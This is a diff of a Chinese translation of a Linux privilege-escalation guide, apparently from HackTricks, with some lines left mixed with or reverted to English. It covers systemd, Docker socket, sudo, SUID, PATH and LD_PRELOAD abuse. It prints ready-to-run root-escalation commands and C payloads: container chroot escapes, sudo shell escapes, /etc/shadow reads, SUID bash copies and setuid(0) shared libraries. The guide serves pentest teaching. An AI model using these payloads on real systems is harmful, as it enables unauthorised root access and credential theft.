echo "Surprise!" ``` @@ -406,34 +406,34 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查你是否可以写入任何 `.service` 文件,如果可以,你**可以修改它**,使其**在服务启动、重启或停止时执行你的 backdoor**(可能需要等待机器重启)。\ -例如,在 .service 文件中创建你的 backdoor,使用 **`ExecStart=/tmp/script.sh`** +检查是否可以写入任何 `.service` 文件,如果可以,你 **可以修改它**,使其在服务 **启动**、**重启** 或 **停止** 时 **执行** 你的 **backdoor**(可能需要等待直到机器重启)。\ +例如,在 `.service` 文件中通过 **`ExecStart=/tmp/script.sh`** 创建你的 backdoor。 ### 可写的 service 二进制文件 -请记住,如果你对**由服务执行的二进制文件具有写权限**,你可以修改它们以植入 backdoor,这样当服务再次执行时,backdoor 就会被运行。 +请记住,如果你对被服务执行的二进制文件拥有 **写权限**,你可以将它们更改为 backdoors,这样当服务被重新执行时,backdoors 就会被执行。 ### systemd PATH - 相对路径 -可以使用以下命令查看 **systemd** 使用的 PATH: +你可以通过以下命令查看 **systemd** 使用的 PATH: ```bash systemctl show-environment ``` -如果你发现你可以在路径的任何文件夹中**写入**,你可能能够**提升权限**。你需要搜索在服务配置文件中使用的**相对路径**,例如: +如果你发现你可以在路径的任何文件夹中 **write**,你可能能够 **escalate privileges**。你需要搜索在服务配置文件中使用 **relative paths being used on service configurations** 的情况,例如: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后,在你可以写入的 systemd PATH 文件夹中,创建一个名称与相对路径二进制相同的 **可执行文件**,当服务被要求执行易受影响的动作(**Start**、**Stop**、**Reload**)时,你的 **backdoor** 将被执行(非特权用户通常无法启动/停止服务,但检查你是否可以使用 `sudo -l`)。 +然后,在你有写权限的 systemd PATH 文件夹中创建一个与相对路径二进制文件同名的 **可执行文件**,当服务被要求执行易受攻击的操作(**启动**、**停止**、**重载**)时,你的 **backdoor 将被执行**(非特权用户通常不能启动/停止服务,但检查是否可以使用 `sudo -l`)。 -使用 `man systemd.service` 来了解有关服务的更多信息。 +**通过 `man systemd.service` 了解有关服务的更多信息。** -## **计时器** +## **Timers** -**计时器** 是 systemd 单元文件,其名称以 **.timer** 结尾,用于控制 **.service** 文件或事件。**计时器** 可以作为 cron 的替代,因为它们内建对日历时间事件和单调时间事件的支持,并且可以异步运行。 +**Timers** 是 systemd 的 unit 文件,其名称以 `**.timer**` 结尾,用来控制 `**.service**` 文件或事件。**Timers** 可以作为 cron 的替代方案,因为它们内置对日历时间事件和单调时间事件的支持,并且可以异步运行。 -你可以使用以下命令枚举所有计时器: +你可以用以下命令枚举所有 timers: ```bash systemctl list-timers --all ``` @@ -443,48 +443,46 @@ systemctl list-timers --all ```bash Unit=backdoor.service ``` -在文档中你可以读到什么是 Unit: +> 当计时器到期时要激活的单元。参数是一个单元名,其后缀不是 ".timer"。如果未指定,此值默认为一个与 timer 单元同名(仅后缀不同)的 service。(见上文。)建议被激活的单元名与 timer 单元名除后缀外保持一致。 -> 当此 timer 到期时要激活的 Unit。参数是一个 Unit 名称,其后缀不是 ".timer"。如果未指定,此值默认为与 timer unit 同名但后缀不同的 service。(见上文。)建议被激活的 Unit 名称与 timer Unit 的名称应除后缀外保持一致。 +因此,要滥用此权限,您需要: -因此,要滥用该权限,你需要: +- 找到某个 systemd unit(例如 `.service`),该单元正在 **执行一个可写的二进制文件** +- 找到某个 systemd unit,该单元 **执行相对路径**,并且你对 **systemd PATH** 拥有 **可写权限**(以冒充该可执行文件) -- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的二进制** -- 找到某个 systemd unit,它 **执行相对路径**,并且你对 **systemd PATH** 拥有 **可写权限**(以冒充该可执行文件) +**Learn more about timers with `man systemd.timer`.** -**要了解更多关于 timer 的信息,请使用 `man systemd.timer`。** +### **启用计时器** -### **启用 timer** - -要启用 timer,你需要 root 权限并执行: +要启用计时器,你需要 root privileges 并执行: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意,通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来激活 **timer**。 +注意 **timer** 是通过在 `/etc/systemd/system/.wants/.timer` 创建指向它的符号链接来 **激活** 的 ## Sockets -Unix Domain Sockets (UDS) 在客户端-服务器模型中实现同一台或不同机器上的**进程间通信**。它们使用标准 Unix 描述符文件进行主机间通信,并通过 `.socket` 文件进行配置。 +Unix Domain Sockets (UDS) 在客户端-服务器模型中用于在同一台或不同机器之间实现 **进程通信**。它们利用标准的 Unix 描述符文件进行进程间通信,并通过 `.socket` 文件进行配置。 Sockets 可以使用 `.socket` 文件进行配置。 -**使用 `man systemd.socket` 了解更多关于套接字的信息。** 在该文件中,可以配置几个有趣的参数: +**Learn more about sockets with `man systemd.socket`.** 在该文件中,可以配置若干有趣的参数: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体用于**指示将监听的位置**(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 和/或端口号等)。 -- `Accept`: 接受一个布尔参数。如果为 **true**,则为每个传入连接生成一个**service instance**,并且只将连接 socket 传递给它。如果为 **false**,则所有监听 sockets 本身会**传递给启动的 service unit**,并且只为所有连接生成一个 service unit。对于 datagram sockets 和 FIFOs,此值被忽略,因为单个 service unit 会无条件地处理所有传入流量。**默认值为 false**。出于性能考虑,建议新守护进程以适合 `Accept=no` 的方式编写。 -- `ExecStartPre`, `ExecStartPost`: 接受一条或多条命令行,分别在监听的 **sockets**/FIFOs **创建并绑定之前**或**之后**执行。命令行的第一个标记必须是绝对文件名,后面跟进进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 额外的**命令**,分别在监听的 **sockets**/FIFOs **关闭并移除之前**或**之后**执行。 -- `Service`: 指定在**有传入流量时**要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的 sockets。它默认使用与 socket 同名(后缀被替换)的 service。在大多数情况下,不应有必要使用此选项。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体上用于**指示将在哪监听**该 socket(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 地址和/或端口号等)。 +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files -如果你发现一个**可写的** `.socket` 文件,你可以在 `[Socket]` 部分的开头添加类似 `ExecStartPre=/home/kali/sys/backdoor` 的内容,backdoor 会在 socket 被创建之前执行。因此,你**很可能需要等到机器重启**。\ -_注意:系统必须实际使用该 socket 文件的配置,否则 backdoor 不会被执行_。 +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -如果你**发现任何可写的 socket**(_这里指的是 Unix Sockets,而非配置文件 `.socket`_),那么**你可以与该 socket 进行通信**,并可能利用某个漏洞。 +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. ### Enumerate Unix Sockets ```bash @@ -508,13 +506,13 @@ socket-command-injection.md ### HTTP sockets -注意可能存在一些 **sockets listening for HTTP** 请求(_我不是在说 .socket files,而是那些作为 unix sockets 的文件_)。你可以用以下命令检查: +请注意,可能存在一些 **sockets listening for HTTP** 请求 (_我不是指 .socket files,而是指作为 unix sockets 的文件_)。你可以用以下命令检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -如果该 socket **responds with an HTTP** request,那么你可以 **communicate** with it,并且可能 **exploit some vulnerability**。 +If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -### 可写的 Docker socket +### 可写的 Docker Socket The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. @@ -525,19 +523,19 @@ If you have write access to the Docker socket, you can escalate privileges using docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许你运行一个容器,从而以 root 权限访问主机的文件系统。 +这些命令允许你运行一个容器,从而以 root 级别访问主机的文件系统。 #### **直接使用 Docker API** -在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 `curl` 命令来操作 Docker socket。 +在无法使用 Docker CLI 的情况下,仍然可以通过 Docker API 和 `curl` 命令操作 Docker socket。 -1. **列出 Docker 镜像:** 获取可用镜像的列表。 +1. **List Docker Images:** 检索可用镜像列表。 ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **创建容器:** 发送请求创建一个将主机根目录挂载进去的容器。 +2. **Create a Container:** 发送请求创建一个将主机根目录挂载进容器的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -549,7 +547,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **连接到容器:** 使用 `socat` 与容器建立连接,从而可以在其中执行命令。 +3. **Attach to the Container:** 使用 `socat` 与容器建立连接,从而在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,31 +557,31 @@ Connection: Upgrade Upgrade: tcp ``` -在建立 `socat` 连接后,您可以直接在容器中执行命令,并以 root 权限访问主机的文件系统。 +在建立 `socat` 连接后,你可以在容器中直接执行命令,并以 root 级别访问主机文件系统。 ### 其他 -注意,如果你对 docker socket 有写权限,因为你 **inside the group `docker`**,你有[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)。如果[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +注意,如果你对 docker socket 有写权限,因为你位于 `docker` 组内,你有[**更多的提权方法**](interesting-groups-linux-pe/index.html#docker-group)。If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -查看 **更多利用 docker 逃逸或滥用以提权的方法** 在: +查看有关从 docker 逃逸或滥用它来提权的更多方法: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) 提权 +## Containerd (ctr) 权限提升 -如果你发现可以使用 **`ctr`** 命令,请阅读下面的页面,因为 **你可能能够滥用它来提权**: +如果你发现可以使用 **`ctr`** 命令,请阅读以下页面,因为**你可能能够滥用它来提升权限**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** 提权 +## **RunC** 权限提升 -如果你发现可以使用 **`runc`** 命令,请阅读下面的页面,因为 **你可能能够滥用它来提权**: +如果你发现可以使用 **`runc`** 命令,请阅读以下页面,因为**你可能能够滥用它来提升权限**: {{#ref}} @@ -592,15 +590,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。为现代 Linux 系统设计,它为不同形式的应用通信提供了一个稳健的框架。 +D-Bus 是一个复杂的进程间通信 (IPC) 系统,能够使应用程序高效地交互和共享数据。它为现代 Linux 系统设计,提供了一个稳健的框架以支持不同形式的应用间通信。 -该系统非常灵活,支持基础的 IPC 用以加强进程间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth 守护进程的来电信号可以促使音乐播放器静音,从而改善用户体验。另外,D-Bus 支持一个远程对象系统,简化应用之间的服务请求和方法调用,使传统上复杂的流程变得更简便。 +该系统功能多样,支持增强进程间数据交换的基本 IPC,类似于**增强的 UNIX 域套接字**。此外,它还支持广播事件或信号,促进系统组件之间的无缝集成。例如,来自 Bluetooth 守护进程的来电信号可以触发音乐播放器静音,从而提升用户体验。D-Bus 还支持远程对象系统,简化应用之间的服务请求和方法调用,简化了传统上复杂的流程。 -D-Bus 基于 **允许/拒绝模型** 运行,基于匹配策略规则的累积效果来管理消息权限(方法调用、信号发出等)。这些策略指定了与总线的交互,可能允许通过滥用这些权限进行提权。 +D-Bus 以 **allow/deny model** 运作,根据匹配的策略规则的累积效果来管理消息权限(方法调用、信号发出等)。这些策略指定了与 bus 的交互方式,可能通过滥用这些权限实现提权。 -下面给出 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中此类策略的示例,说明了 root 用户对 `fi.w1.wpa_supplicant1` 拥有、发送以及接收消息的权限。 +下面给出位于 `/etc/dbus-1/system.d/wpa_supplicant.conf` 的一个此类策略示例,描述了 root 用户对 `fi.w1.wpa_supplicant1` 的所有权、发送和接收消息的权限。 -未指定用户或组的策略适用于所有主体,而“default”上下文策略适用于未被其他特定策略覆盖的所有主体。 +未指定用户或组的策略适用于所有情形,而 "default" 上下文策略适用于未被其他特定策略覆盖的所有情况。 ```xml @@ -609,7 +607,7 @@ D-Bus 基于 **允许/拒绝模型** 运行,基于匹配策略规则的累积 ``` -**在这里学习如何枚举并利用 D-Bus 通信:** +**在此学习如何枚举并利用 D-Bus 通信:** {{#ref}} @@ -618,7 +616,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **网络** -枚举网络并确定该机器在网络中的位置总是很有价值。 +枚举网络并确定该机器的位置总是很有趣。 ### 通用枚举 ```bash @@ -645,22 +643,22 @@ lsof -i ``` ### 开放端口 -始终检查在你获取访问权限前无法与之交互的机器上正在运行的网络服务: +始终检查在你访问之前无法与之交互的、在该机器上运行的网络服务: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -检查你是否可以 sniff traffic。如果可以,你可能能够获取一些凭证。 +检查是否可以 sniff traffic。如果可以,你可能能够获取一些 credentials。 ``` timeout 1 tcpdump ``` -## Users +## 用户 -### Generic Enumeration +### 通用枚举 -检查你是**who**,你拥有哪些**privileges**,系统中有哪些**users**,哪些可以**login**,以及哪些拥有**root privileges**: +检查你是谁,拥有哪些**privileges**,系统中有哪些**users**,哪些可以**login**,以及哪些拥有**root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,21 +682,21 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -某些 Linux 版本存在一个漏洞,允许 **UID > INT_MAX** 的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**利用它**:**`systemd-run -t /bin/bash`** +某些 Linux 版本受到一个漏洞影响,允许 **UID > INT_MAX** 的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** -### 组 +### Groups -检查你是否为可能授予你 root 权限的 **某个组的成员**: +检查你是否是可能授予你 root 权限的某个 **组成员**: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### 剪贴板 +### Clipboard -检查剪贴板中是否有任何有趣的内容(如果可能) +如果可能,检查剪贴板中是否有任何有趣的内容 ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -715,27 +713,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果你**知道环境中的任意密码**,请**尝试使用该密码登录每个用户**。 +如果你 **知道环境中的任何密码**,请**尝试使用该密码登录每个用户**。 ### Su Brute -如果你不介意制造大量噪音,且目标主机存在 `su` 和 `timeout` 二进制文件,你可以使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行爆破。 +如果你不介意产生大量噪音,并且计算机上存在 `su` 和 `timeout` 二进制文件,你可以尝试使用 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用 `-a` 参数也会尝试对用户进行暴力破解。 -## 可写 $PATH 滥用 +## 可写 PATH 滥用 ### $PATH -如果你发现可以**写入 $PATH 的某个文件夹**,你可能可以通过在可写文件夹中**创建一个后门**来提升权限,后门的名字应为某个会被其他用户(最好是 root)执行的命令,并且该命令**不会从 $PATH 中位于你可写文件夹之前的文件夹加载**。 +如果你发现你可以**在 $PATH 的某个文件夹中写入**,你可能能够通过**在可写文件夹中创建一个 backdoor**来提升权限,该 backdoor 的名字与将要由不同用户(理想情况下是 root)执行的某个命令相同,且该命令**不会从位于你的可写文件夹之前的目录加载**。 ### SUDO and SUID -你可能被允许使用 sudo 执行某些命令,或某些命令可能设置了 suid 位。使用以下命令检查: +你可能被允许使用 sudo 执行某些命令,或者某些文件可能设置了 suid 位。使用以下命令检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -有些**意想不到的命令允许你读取和/或写入文件,甚至执行命令。**例如: +一些 **意想不到的命令允许你读取和/或写入文件,甚至执行命令。** 例如: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,31 +744,31 @@ less>! ``` ### NOPASSWD -Sudo 配置可能允许用户在不知晓密码的情况下以另一个用户的权限执行某些命令。 +Sudo 配置可能允许用户以另一个用户的权限执行某些命令,而无需知道该用户的密码。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -在这个示例中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过向 `root` 目录添加 ssh key 或调用 `sh` 来获取 shell 非常简单。 +在这个例子中,用户 `demo` 可以以 `root` 身份运行 `vim`,现在通过将 ssh 密钥添加到 root 目录或调用 `sh` 就可以轻松获得一个 shell。 ``` sudo vim -c '!sh' ``` ### SETENV -该指令允许用户在执行某些操作时**设置环境变量**: +该指令允许用户在执行某项操作时**set an environment variable**: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -这个示例,**基于 HTB machine Admirer**,**易受** **PYTHONPATH hijacking** 攻击,可在以 root 身份执行脚本时加载任意 python 库: +这个示例,**基于 HTB machine Admirer**,**存在漏洞**,可被**PYTHONPATH hijacking**利用,以在以 root 身份执行脚本时加载任意 python 库: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo 执行绕过路径 -**Jump** 去读取其他文件或使用 **symlinks**。例如在 sudoers 文件中:_hacker10 ALL= (root) /bin/less /var/log/\*_ +**跳转** 阅读其他文件或使用 **symlinks**。例如在 sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -780,46 +778,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -如果使用 **wildcard** (\*),就更容易: +如果使用 **wildcard** (\*),就更容易了: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**对策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary 没有指定命令路径 +### Sudo command/SUID binary 未指定命令路径 -如果将 **sudo permission** 授予单个命令(**没有指定命令路径**):_hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它。 +如果将 **sudo permission** 授予单个命令且**未指定路径**: _hacker10 ALL= (root) less_,你可以通过更改 PATH 变量来利用它。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -此技术也可用于如果一个 **suid** 二进制文件 **在执行另一个命令时没有指定其路径(总是使用** _**strings**_ **检查可疑 SUID 二进制文件的内容))**。 +此技术也可用于如果一个 **suid** 二进制 **在执行另一个命令时未指定该命令的路径(总是使用** _**strings**_ **检查一个异常 SUID 二进制的内容)**。 [Payload examples to execute.](payloads-to-execute.md) -### 带命令路径的 SUID 二进制文件 +### 带有命令路径的 SUID 二进制 -如果该 **suid** 二进制文件 **在执行另一个命令时指定了路径**,那么你可以尝试 **导出一个函数**,其名称为 suid 文件所调用的命令。 +如果 **suid** 二进制 **执行另一个指定了路径的命令**,那么你可以尝试 **export a function**,函数名为 suid 文件所调用的命令。 -例如,如果一个 suid 二进制文件调用 _**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: +例如,如果一个 suid 二进制调用 _**/usr/sbin/service apache2 start**_,你必须尝试创建该函数并导出它: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后,当你调用 suid binary 时,这个函数将被执行 +然后,当你调用 suid 二进制文件时,这个函数将被执行 ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +**LD_PRELOAD** 环境变量用于指定一个或多个共享库(.so 文件),由加载器在其他库之前加载,包括标准 C 库 (`libc.so`)。这个过程称为预加载库。 -然而,为了维护系统安全并防止此特性被利用,尤其是在 **suid/sgid** 可执行文件上,系统强制执行了一些限制: +然而,为了维护系统安全并防止此功能被滥用,尤其是在 **suid/sgid** 可执行文件上,系统强制执行某些条件: -- 当可执行文件的真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配时,loader 会忽略 **LD_PRELOAD**。 -- 对于带有 suid/sgid 的可执行文件,只有位于标准路径且自身也是 suid/sgid 的库会被预加载。 +- 对于真实用户 ID (_ruid_) 与有效用户 ID (_euid_) 不匹配的可执行文件,加载器会忽略 **LD_PRELOAD**。 +- 对于具有 suid/sgid 的可执行文件,仅会预加载位于标准路径且本身也具有 suid/sgid 的库。 -如果你能够使用 `sudo` 执行命令,并且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD**,则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在通过 `sudo` 运行命令时得以保留并被识别,可能导致以提升的权限执行任意代码。 +如果你可以使用 `sudo` 执行命令,且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**,则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时保持并被识别,从而可能导致以提权执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,17 +834,17 @@ setuid(0); system("/bin/bash"); } ``` -然后使用以下命令 **编译它**: +然后 **编译它** 使用: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最后, **escalate privileges** 运行 +最后,**escalate privileges** 正在运行 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable,便可滥用类似的 privesc,因为他控制了库的搜索路径。 +> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable,他就可以滥用类似的 privesc,因为他控制了库将被搜索的路径。 ```c #include #include @@ -866,15 +864,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID Binary – .so injection +### SUID 二进制 – .so injection -当遇到具有 **SUID** 权限且看起来不寻常的二进制文件时,最好检查它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: +当遇到带有 **SUID** 权限且看起来异常的二进制文件时,最好确认它是否正确加载 **.so** 文件。可以通过运行以下命令来检查: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如,遇到像 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 这样的错误,表明可能存在可被利用的漏洞。 +例如,遇到类似错误 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 表明可能存在被利用的机会。 -要利用它,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,并包含以下代码: +要利用它,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,其内容如下: ```c #include #include @@ -885,13 +883,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -这段代码在编译并执行后,旨在通过修改文件权限并执行一个提升权限的 shell 来提升特权(elevate privileges)。 +这段代码在编译并执行后,旨在通过修改 file permissions 并执行一个具有 elevated privileges 的 shell 来提升权限。 -使用以下命令将上述 C 文件编译为 shared object (.so) 文件: +将上述 C file 编译为 shared object (.so) 文件,使用: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后,运行受影响的 SUID binary 应触发该 exploit,从而可能导致 system compromise。 +最后,运行受影响的 SUID 二进制文件应该会触发 exploit,从而可能导致系统被妥协。 ## Shared Object Hijacking ```bash @@ -903,7 +901,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -既然我们已经找到一个 SUID 二进制文件会从一个我们可写的文件夹加载库,就在该文件夹中创建具有所需名称的库: +既然我们已经找到一个 SUID 二进制文件,它从我们可以写入的目录加载库,现在就在该目录下创建一个具有所需名称的库: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -924,15 +922,16 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个精心整理的 Unix 二进制文件列表,攻击者可以利用这些二进制文件绕过本地安全限制。 [**GTFOArgs**](https://gtfoargs.github.io/) 则适用于你只能在命令中**注入参数**的情况。 +[**GTFOBins**](https://gtfobins.github.io) 是一个经过整理的 Unix 二进制可执行文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 与其类似,但用于只能在命令中**注入参数**的情况。 -该项目收集了 Unix 二进制程序的合法功能,这些功能可能被滥用以突破受限 shell、提升或维持更高权限、传输文件、生成绑定和反向 shell,以及辅助其他后利用任务。 +该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用来突破受限 shell、提升或维持更高的权限、传输文件、生成 bind 和 reverse shells,并帮助完成其他 post-exploitation 任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} @@ -944,61 +943,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 检查它是否能找到利用任何 sudo 规则的方法。 +如果你可以访问 `sudo -l`,可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查是否能找到利用任意 sudo 规则的方法。 -### Reusing Sudo Tokens +### 重用 Sudo Tokens -在拥有 **sudo access** 但不知道密码的情况下,你可以通过**等待 sudo 命令执行然后劫持会话令牌**来提升权限。 +在你拥有 **sudo access** 但没有密码的情况下,你可以通过**等待 sudo 命令执行然后劫持会话令牌**来提升权限。 -提升权限的前提条件: +提升权限的要求: -- 你已经以 _sampleuser_ 用户身份拥有一个 shell -- _sampleuser_ 已在**过去 15 分钟内**用 `sudo` 执行过某些操作(默认这是 sudo 令牌的有效时长,允许我们在不输入密码的情况下使用 `sudo`) -- `cat /proc/sys/kernel/yama/ptrace_scope` 为 0 +- 你已经以用户 "_sampleuser_" 拥有一个 shell +- "_sampleuser_" 已**使用 `sudo`** 在**过去 15mins**内执行过某些操作(默认情况下这是 sudo 令牌的持续时间,允许我们在不输入任何密码的情况下使用 `sudo`) +- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0 - 